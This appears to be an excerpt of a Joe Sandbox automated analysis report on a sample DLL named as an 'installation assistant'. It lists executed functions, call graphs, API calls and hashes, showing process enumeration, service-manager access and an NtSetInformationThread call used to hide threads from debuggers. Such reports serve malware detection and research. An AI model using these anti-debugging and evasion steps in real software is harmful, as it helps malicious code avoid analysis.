101143 6ca2ef5f 101141->101143 101144 6ca349b2 __Getctype 37 API calls 101143->101144 101145 6ca2ef64 101144->101145 101152 6ca39d66 101145->101152 101149 6ca2ef7b 101158 6ca2eeaa 16 API calls 2 library calls 101149->101158 101151 6ca2ef9d 101153 6ca2ef6f 101152->101153 101154 6ca39d78 GetPEB 101152->101154 101153->101149 101157 6ca36d6f 5 API calls std::_Lockit::_Lockit 101153->101157 101154->101153 101155 6ca39d8b 101154->101155 101159 6ca36e18 5 API calls std::_Lockit::_Lockit 101155->101159 101157->101149 101158->101151 101159->101153

                                          Executed Functions

                                          Function 6C8A4754 Relevance: 69.2, APIs: 28, Strings: 1, Instructions: 18471COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: _strlen
                                          • String ID: HR^
                                          • API String ID: 4218353326-1341859651
                                          • Opcode ID: 3fa8a4385ca275fa2c46cbe5fcf11dc827721cb3c143bce9c25f36aa4b6f24ef
                                          • Instruction ID: 5e6fc787d492dfb06325b62cea3a2dadd0a639643f261d52c8b4ea8606fb891a
                                          • Opcode Fuzzy Hash: 3fa8a4385ca275fa2c46cbe5fcf11dc827721cb3c143bce9c25f36aa4b6f24ef
                                          • Instruction Fuzzy Hash: 4F741571644B068FC738CF28C9D0695B7E2EF95318B198E2DC0A68BB55EB74B54BCB40
                                          Function 6C8B4A27 Relevance: 61.3, APIs: 25, Strings: 3, Instructions: 12265COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: }jk$;T55$L@^
                                          • API String ID: 0-4218709813
                                          • Opcode ID: 3b14f64df1ab147ede4bb6fd18862891faacd1a9af04442f9fb0097bed25711a
                                          • Instruction ID: 1e980a335f182aab5da2059430d534b70210e4f9e0dcf0d09f9950e91f6d4bc4
                                          • Opcode Fuzzy Hash: 3b14f64df1ab147ede4bb6fd18862891faacd1a9af04442f9fb0097bed25711a
                                          • Instruction Fuzzy Hash: 80341671644B018FC738CF28C9D0A96B7E3EF95318B198E6DC0A69BB55E734B54ACB40
                                          Function 6CA25240 Relevance: 6.1, APIs: 4, Instructions: 95processCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 7677 6ca25240-6ca25275 CreateToolhelp32Snapshot 7678 6ca252a0-6ca252a9 7677->7678 7679 6ca252e0-6ca252e5 7678->7679 7680 6ca252ab-6ca252b0 7678->7680 7683 6ca25377-6ca253a1 call 6ca32c05 7679->7683 7684 6ca252eb-6ca252f0 7679->7684 7681 6ca252b2-6ca252b7 7680->7681 7682 6ca25315-6ca2531a 7680->7682 7686 6ca25334-6ca2535d call 6ca2b920 Process32FirstW 7681->7686 7687 6ca252b9-6ca252be 7681->7687 7690 6ca25320-6ca25332 Process32NextW 7682->7690 7691 6ca253a6-6ca253ab 7682->7691 7683->7678 7688 6ca252f2-6ca252f7 7684->7688 7689 6ca25277-6ca25292 CloseHandle 7684->7689 7697 6ca25362-6ca25372 7686->7697 7687->7678 7693 6ca252c0-6ca252d1 7687->7693 7688->7678 7695 6ca252f9-6ca25313 7688->7695 7689->7678 7690->7697 7691->7678 7694 6ca253b1-6ca253bf 7691->7694 7693->7678 7695->7678 7697->7678
                                          APIs
                                          • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 6CA2524E
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: CreateSnapshotToolhelp32
                                          • String ID:
                                          • API String ID: 3332741929-0
                                          • Opcode ID: 8f319245f4dc851f4e24ef1b777056eec60b24b4afcae11b89fec249ba889c88
                                          • Instruction ID: eb16cd79b0a96040d328afdceda4105b6501ff0a7393a88843c6a318dd1ef813
                                          • Opcode Fuzzy Hash: 8f319245f4dc851f4e24ef1b777056eec60b24b4afcae11b89fec249ba889c88
                                          • Instruction Fuzzy Hash: 1D315C756083109FD7109F28C888B1ABBF4BF99744F98492EE498C77A4D775D8888F52
                                          Function 6C8A3886 Relevance: 3.6, APIs: 2, Instructions: 573COMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 7821 6c8a3886-6c8a388e 7822 6c8a3970-6c8a397d 7821->7822 7823 6c8a3894-6c8a3896 7821->7823 7825 6c8a397f-6c8a3989 7822->7825 7826 6c8a39f1-6c8a39f8 7822->7826 7823->7822 7824 6c8a389c-6c8a38b9 7823->7824 7829 6c8a38c0-6c8a38c1 7824->7829 7825->7824 7830 6c8a398f-6c8a3994 7825->7830 7827 6c8a39fe-6c8a3a03 7826->7827 7828 6c8a3ab5-6c8a3aba 7826->7828 7831 6c8a3a09-6c8a3a2f 7827->7831 7832 6c8a38d2-6c8a38d4 7827->7832 7828->7824 7834 6c8a3ac0-6c8a3ac7 7828->7834 7833 6c8a395e 7829->7833 7835 6c8a399a-6c8a399f 7830->7835 7836 6c8a3b16-6c8a3b18 7830->7836 7839 6c8a38f8-6c8a3955 7831->7839 7840 6c8a3a35-6c8a3a3a 7831->7840 7841 6c8a3957-6c8a395c 7832->7841 7842 6c8a3960-6c8a3964 7833->7842 7834->7829 7843 6c8a3acd-6c8a3ad6 7834->7843 7837 6c8a383b-6c8a3855 call 6c9f1470 call 6c9f1480 7835->7837 7838 6c8a39a5-6c8a39bf 7835->7838 7836->7829 7849 6c8a3860-6c8a3885 7837->7849 7844 6c8a3a5a-6c8a3a5d 7838->7844 7839->7841 7845 6c8a3b1d-6c8a3b22 7840->7845 7846 6c8a3a40-6c8a3a57 7840->7846 7841->7833 7848 6c8a396a 7842->7848 7842->7849 7843->7836 7850 6c8a3ad8-6c8a3aeb 7843->7850 7853 6c8a3aa9-6c8a3ab0 7844->7853 7851 6c8a3b49-6c8a3b50 7845->7851 7852 6c8a3b24-6c8a3b44 7845->7852 7846->7844 7855 6c8a3ba1-6c8a3bb6 7848->7855 7849->7821 7850->7839 7856 6c8a3af1-6c8a3af8 7850->7856 7851->7829 7860 6c8a3b56-6c8a3b5d 7851->7860 7852->7853 7853->7842 7861 6c8a3bc0-6c8a3bda call 6c9f1470 call 6c9f1480 7855->7861 7863 6c8a3afa-6c8a3aff 7856->7863 7864 6c8a3b62-6c8a3b85 7856->7864 7860->7842 7872 6c8a3be0-6c8a3bfe 7861->7872 7863->7841 7864->7839 7866 6c8a3b8b 7864->7866 7866->7855 7875 6c8a3e7b 7872->7875 7876 6c8a3c04-6c8a3c11 7872->7876 7879 6c8a3e81-6c8a3ee0 call 6c8a3750 GetCurrentThread NtSetInformationThread 7875->7879 7877 6c8a3ce0-6c8a3cea 7876->7877 7878 6c8a3c17-6c8a3c20 7876->7878 7882 6c8a3d3a-6c8a3d3c 7877->7882 7883 6c8a3cec-6c8a3d0c 7877->7883 7880 6c8a3c26-6c8a3c2d 7878->7880 7881 6c8a3dc5 7878->7881 7892 6c8a3eea-6c8a3f04 call 6c9f1470 call 6c9f1480 7879->7892 7887 6c8a3dc3 7880->7887 7888 6c8a3c33-6c8a3c3a 7880->7888 7885 6c8a3dc6 7881->7885 7890 6c8a3d3e-6c8a3d45 7882->7890 7891 6c8a3d70-6c8a3d8d 7882->7891 7889 6c8a3d90-6c8a3d95 7883->7889 7896 6c8a3dc8-6c8a3dcc 7885->7896 7887->7881 7893 6c8a3c40-6c8a3c5b 7888->7893 7894 6c8a3e26-6c8a3e2b 7888->7894 7897 6c8a3dba-6c8a3dc1 7889->7897 7898 6c8a3d97-6c8a3db8 7889->7898 7895 6c8a3d50-6c8a3d57 7890->7895 7891->7889 7915 6c8a3f75-6c8a3fa1 7892->7915 7900 6c8a3e1b-6c8a3e24 7893->7900 7901 6c8a3c7b-6c8a3cd0 7894->7901 7902 6c8a3e31 7894->7902 7895->7885 7896->7872 7903 6c8a3dd2 7896->7903 7897->7887 7904 6c8a3dd7-6c8a3ddc 7897->7904 7898->7881 7900->7896 7907 6c8a3e76-6c8a3e79 7900->7907 7901->7895 7902->7861 7903->7907 7905 6c8a3dde-6c8a3e17 7904->7905 7906 6c8a3e36-6c8a3e3d 7904->7906 7905->7900 7911 6c8a3e3f-6c8a3e5a 7906->7911 7912 6c8a3e5c-6c8a3e5f 7906->7912 7907->7879 7911->7900 7912->7901 7914 6c8a3e65-6c8a3e69 7912->7914 7914->7896 7914->7907 7919 6c8a3fa3-6c8a3fa8 7915->7919 7920 6c8a4020-6c8a4026 7915->7920 7921 6c8a3fae-6c8a3fcf 7919->7921 7922 6c8a407c-6c8a4081 7919->7922 7923 6c8a402c-6c8a403c 7920->7923 7924 6c8a3f06-6c8a3f35 7920->7924 7927 6c8a40aa-6c8a40ae 7921->7927 7922->7927 7928 6c8a4083-6c8a408a 7922->7928 7925 6c8a403e-6c8a4058 7923->7925 7926 6c8a40b3-6c8a40b8 7923->7926 7929 6c8a3f38-6c8a3f61 7924->7929 7930 6c8a405a-6c8a4063 7925->7930 7926->7921 7932 6c8a40be-6c8a40c9 7926->7932 7934 6c8a3f6b-6c8a3f6f 7927->7934 7928->7929 7931 6c8a4090 7928->7931 7933 6c8a3f64-6c8a3f67 7929->7933 7935 6c8a4069-6c8a406c 7930->7935 7936 6c8a40f5-6c8a413f 7930->7936 7931->7892 7937 6c8a40a7 7931->7937 7932->7927 7938 6c8a40cb-6c8a40d4 7932->7938 7939 6c8a3f69 7933->7939 7934->7915 7940 6c8a4072-6c8a4077 7935->7940 7941 6c8a4144-6c8a414b 7935->7941 7936->7939 7937->7927 7938->7937 7942 6c8a40d6-6c8a40f0 7938->7942 7939->7934 7940->7933 7941->7934 7942->7930
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 9cceacd2af4949b0f3afaa9c17c840a7f57b9e333b3aaad083b5c24348df8686
                                          • Instruction ID: dafe209a801861364d2d5f1efc923e9d58c6dcc5b94fcbf874225c612ef01c8b
                                          • Opcode Fuzzy Hash: 9cceacd2af4949b0f3afaa9c17c840a7f57b9e333b3aaad083b5c24348df8686
                                          • Instruction Fuzzy Hash: 7232CF32245B018FC334CF68C990696B7E3EFD531476A8E6CC0AA4BA95D775F84B8B50
                                          Function 6C8A3A6A Relevance: 3.1, APIs: 2, Instructions: 148threadCOMMON
                                          Download Yara Rule

                                          Control-flow Graph

                                          • Executed
                                          • Not Executed
                                          control_flow_graph 7969 6c8a3a6a-6c8a3a85 7970 6c8a3a87-6c8a3aa7 7969->7970 7971 6c8a3aa9-6c8a3ab0 7970->7971 7972 6c8a3960-6c8a3964 7971->7972 7973 6c8a396a 7972->7973 7974 6c8a3860-6c8a388e 7972->7974 7975 6c8a3ba1-6c8a3bb6 7973->7975 7983 6c8a3970-6c8a397d 7974->7983 7984 6c8a3894-6c8a3896 7974->7984 7978 6c8a3bc0-6c8a3bda call 6c9f1470 call 6c9f1480 7975->7978 7993 6c8a3be0-6c8a3bfe 7978->7993 7988 6c8a397f-6c8a3989 7983->7988 7989 6c8a39f1-6c8a39f8 7983->7989 7984->7983 7986 6c8a389c-6c8a38b9 7984->7986 7992 6c8a38c0-6c8a38c1 7986->7992 7988->7986 7994 6c8a398f-6c8a3994 7988->7994 7990 6c8a39fe-6c8a3a03 7989->7990 7991 6c8a3ab5-6c8a3aba 7989->7991 7995 6c8a3a09-6c8a3a2f 7990->7995 7996 6c8a38d2-6c8a38d4 7990->7996 7991->7986 7998 6c8a3ac0-6c8a3ac7 7991->7998 7997 6c8a395e 7992->7997 8009 6c8a3e7b 7993->8009 8010 6c8a3c04-6c8a3c11 7993->8010 8000 6c8a399a-6c8a399f 7994->8000 8001 6c8a3b16-6c8a3b18 7994->8001 8004 6c8a38f8-6c8a3955 7995->8004 8005 6c8a3a35-6c8a3a3a 7995->8005 8006 6c8a3957-6c8a395c 7996->8006 7997->7972 7998->7992 8007 6c8a3acd-6c8a3ad6 7998->8007 8002 6c8a383b-6c8a3855 call 6c9f1470 call 6c9f1480 8000->8002 8003 6c8a39a5-6c8a39bf 8000->8003 8001->7992 8002->7974 8011 6c8a3a5a-6c8a3a5d 8003->8011 8004->8006 8012 6c8a3b1d-6c8a3b22 8005->8012 8013 6c8a3a40-6c8a3a57 8005->8013 8006->7997 8007->8001 8015 6c8a3ad8-6c8a3aeb 8007->8015 8020 6c8a3e81-6c8a3ee0 call 6c8a3750 GetCurrentThread NtSetInformationThread 8009->8020 8016 6c8a3ce0-6c8a3cea 8010->8016 8017 6c8a3c17-6c8a3c20 8010->8017 8011->7971 8018 6c8a3b49-6c8a3b50 8012->8018 8019 6c8a3b24-6c8a3b44 8012->8019 8013->8011 8015->8004 8022 6c8a3af1-6c8a3af8 8015->8022 8026 6c8a3d3a-6c8a3d3c 8016->8026 8027 6c8a3cec-6c8a3d0c 8016->8027 8023 6c8a3c26-6c8a3c2d 8017->8023 8024 6c8a3dc5 8017->8024 8018->7992 8025 6c8a3b56-6c8a3b5d 8018->8025 8019->7970 8041 6c8a3eea-6c8a3f04 call 6c9f1470 call 6c9f1480 8020->8041 8029 6c8a3afa-6c8a3aff 8022->8029 8030 6c8a3b62-6c8a3b85 8022->8030 8034 6c8a3dc3 8023->8034 8035 6c8a3c33-6c8a3c3a 8023->8035 8032 6c8a3dc6 8024->8032 8025->7972 8038 6c8a3d3e-6c8a3d45 8026->8038 8039 6c8a3d70-6c8a3d8d 8026->8039 8037 6c8a3d90-6c8a3d95 8027->8037 8029->8006 8030->8004 8036 6c8a3b8b 8030->8036 8045 6c8a3dc8-6c8a3dcc 8032->8045 8034->8024 8042 6c8a3c40-6c8a3c5b 8035->8042 8043 6c8a3e26-6c8a3e2b 8035->8043 8036->7975 8046 6c8a3dba-6c8a3dc1 8037->8046 8047 6c8a3d97-6c8a3db8 8037->8047 8044 6c8a3d50-6c8a3d57 8038->8044 8039->8037 8064 6c8a3f75-6c8a3fa1 8041->8064 8049 6c8a3e1b-6c8a3e24 8042->8049 8050 6c8a3c7b-6c8a3cd0 8043->8050 8051 6c8a3e31 8043->8051 8044->8032 8045->7993 8052 6c8a3dd2 8045->8052 8046->8034 8053 6c8a3dd7-6c8a3ddc 8046->8053 8047->8024 8049->8045 8056 6c8a3e76-6c8a3e79 8049->8056 8050->8044 8051->7978 8052->8056 8054 6c8a3dde-6c8a3e17 8053->8054 8055 6c8a3e36-6c8a3e3d 8053->8055 8054->8049 8060 6c8a3e3f-6c8a3e5a 8055->8060 8061 6c8a3e5c-6c8a3e5f 8055->8061 8056->8020 8060->8049 8061->8050 8063 6c8a3e65-6c8a3e69 8061->8063 8063->8045 8063->8056 8068 6c8a3fa3-6c8a3fa8 8064->8068 8069 6c8a4020-6c8a4026 8064->8069 8070 6c8a3fae-6c8a3fcf 8068->8070 8071 6c8a407c-6c8a4081 8068->8071 8072 6c8a402c-6c8a403c 8069->8072 8073 6c8a3f06-6c8a3f35 8069->8073 8076 6c8a40aa-6c8a40ae 8070->8076 8071->8076 8077 6c8a4083-6c8a408a 8071->8077 8074 6c8a403e-6c8a4058 8072->8074 8075 6c8a40b3-6c8a40b8 8072->8075 8078 6c8a3f38-6c8a3f61 8073->8078 8079 6c8a405a-6c8a4063 8074->8079 8075->8070 8081 6c8a40be-6c8a40c9 8075->8081 8083 6c8a3f6b-6c8a3f6f 8076->8083 8077->8078 8080 6c8a4090 8077->8080 8082 6c8a3f64-6c8a3f67 8078->8082 8084 6c8a4069-6c8a406c 8079->8084 8085 6c8a40f5-6c8a413f 8079->8085 8080->8041 8086 6c8a40a7 8080->8086 8081->8076 8087 6c8a40cb-6c8a40d4 8081->8087 8088 6c8a3f69 8082->8088 8083->8064 8089 6c8a4072-6c8a4077 8084->8089 8090 6c8a4144-6c8a414b 8084->8090 8085->8088 8086->8076 8087->8086 8091 6c8a40d6-6c8a40f0 8087->8091 8088->8083 8089->8082 8090->8083 8091->8079
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: CurrentThread
                                          • String ID:
                                          • API String ID: 2882836952-0
                                          • Opcode ID: 525ab9cd0d4d16ce207da2a99c6e4bab16cdf27773ad926d622f71b4388fec53
                                          • Instruction ID: b8832d65c90813055fe772a354dfe1742e48c770d5d11a3a0873b8f254c662bd
                                          • Opcode Fuzzy Hash: 525ab9cd0d4d16ce207da2a99c6e4bab16cdf27773ad926d622f71b4388fec53
                                          • Instruction Fuzzy Hash: A351DF71104B018FC3308F68C980795B7A3AFE6314F698E1DC0E65BA95DB75B94B8B81
                                          Function 6C8A39CF Relevance: 3.1, APIs: 2, Instructions: 139threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: CurrentThread
                                          • String ID:
                                          • API String ID: 2882836952-0
                                          • Opcode ID: b61f72571123ee55afc836745b3599d539206c0f83af8422c3a672ff48bdbd32
                                          • Instruction ID: 4f1105940947e02fd85949fa9964f7813b9c8d3f9f337f69e8d4a1898236d6d6
                                          • Opcode Fuzzy Hash: b61f72571123ee55afc836745b3599d539206c0f83af8422c3a672ff48bdbd32
                                          • Instruction Fuzzy Hash: 9F51CD71104B018BC330CFA8C580796B7A3AFD6324F698E1DC0E65BA95DB71F94B8B91
                                          Function 6C8A3D18 Relevance: 3.1, APIs: 2, Instructions: 89threadnativeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThread.KERNEL32 ref: 6C8A3E9D
                                          • NtSetInformationThread.NTDLL(00000000,00000011,00000000,00000000), ref: 6C8A3EAA
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: Thread$CurrentInformation
                                          • String ID:
                                          • API String ID: 1650627709-0
                                          • Opcode ID: fb7356bc8e5cb6d3519f71e86ee7d715eeebd969c1f69fb5055333ebbee28ab4
                                          • Instruction ID: 4b8e743214463121e70e3e1a7101d9a8726267acbe17680cf007d442334f2423
                                          • Opcode Fuzzy Hash: fb7356bc8e5cb6d3519f71e86ee7d715eeebd969c1f69fb5055333ebbee28ab4
                                          • Instruction Fuzzy Hash: DD310131115B01CBC730CFA8C9847C6B7A3AFD6314F298E1DC0E65BA90DBB5B80A9B51
                                          Function 6C8A3D62 Relevance: 3.1, APIs: 2, Instructions: 83threadnativeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThread.KERNEL32 ref: 6C8A3E9D
                                          • NtSetInformationThread.NTDLL(00000000,00000011,00000000,00000000), ref: 6C8A3EAA
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: Thread$CurrentInformation
                                          • String ID:
                                          • API String ID: 1650627709-0
                                          • Opcode ID: 56ef787d3d92f9541772fa8d89130fd5018ba78bd2dbcdaa92876a49ffda6192
                                          • Instruction ID: eb73e00634fd6f4dcfc5a578dd35359f789ee4b86d8ce5adcba8758e9da889dc
                                          • Opcode Fuzzy Hash: 56ef787d3d92f9541772fa8d89130fd5018ba78bd2dbcdaa92876a49ffda6192
                                          • Instruction Fuzzy Hash: 9A31F131114B05CBC734CFA8C590796B7B3AF96308F254E1DC0E65BA85DBB1B846CB92
                                          Function 6C8A3C62 Relevance: 3.1, APIs: 2, Instructions: 72threadnativeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentThread.KERNEL32 ref: 6C8A3E9D
                                          • NtSetInformationThread.NTDLL(00000000,00000011,00000000,00000000), ref: 6C8A3EAA
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: Thread$CurrentInformation
                                          • String ID:
                                          • API String ID: 1650627709-0
                                          • Opcode ID: 5a1f43f5e796d0fc5443751fcb299a00691eefb46ae3283c052cdcec786548ad
                                          • Instruction ID: 34527e5f8818157f039690af32fb0c87f3d16733e60b11030e71058007d0f710
                                          • Opcode Fuzzy Hash: 5a1f43f5e796d0fc5443751fcb299a00691eefb46ae3283c052cdcec786548ad
                                          • Instruction Fuzzy Hash: F121F470118B05CBD774CFA4C990796B7B3AFD6305F244E2DC0E68BA90DF75A8069B92
                                          Function 6CA25120 Relevance: 3.1, APIs: 2, Instructions: 72COMMON
                                          Download Yara Rule
                                          APIs
                                          • OpenSCManagerA.SECHOST(00000000,00000000,00000001), ref: 6CA25130
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2277464309.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C8A0000, based on PE: true
                                          • Associated: 00000006.00000002.2277438803.000000006C8A0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278686750.000000006CA48000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2278753916.000000006CA58000.00000008.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279376678.000000006CB23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2279412585.000000006CB29000.00000020.00000001.01000000.00000009.sdmpDownload File
                                          • Associated: 00000006.00000002.2280135842.000000006CC12000.00000002.00000001.01000000.00000009.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_6c8a0000_#U5b89#U88c5#U52a9#U624b_2.jbxd
                                          Similarity
                                          • API ID: ManagerOpen
                                          • String ID:
                                          • API String ID: 1889721586-0
                                          • Opcode ID: 900585d437987030dfee836af3c71942912665f15150b3f5b5c0d127eb1d0cb2
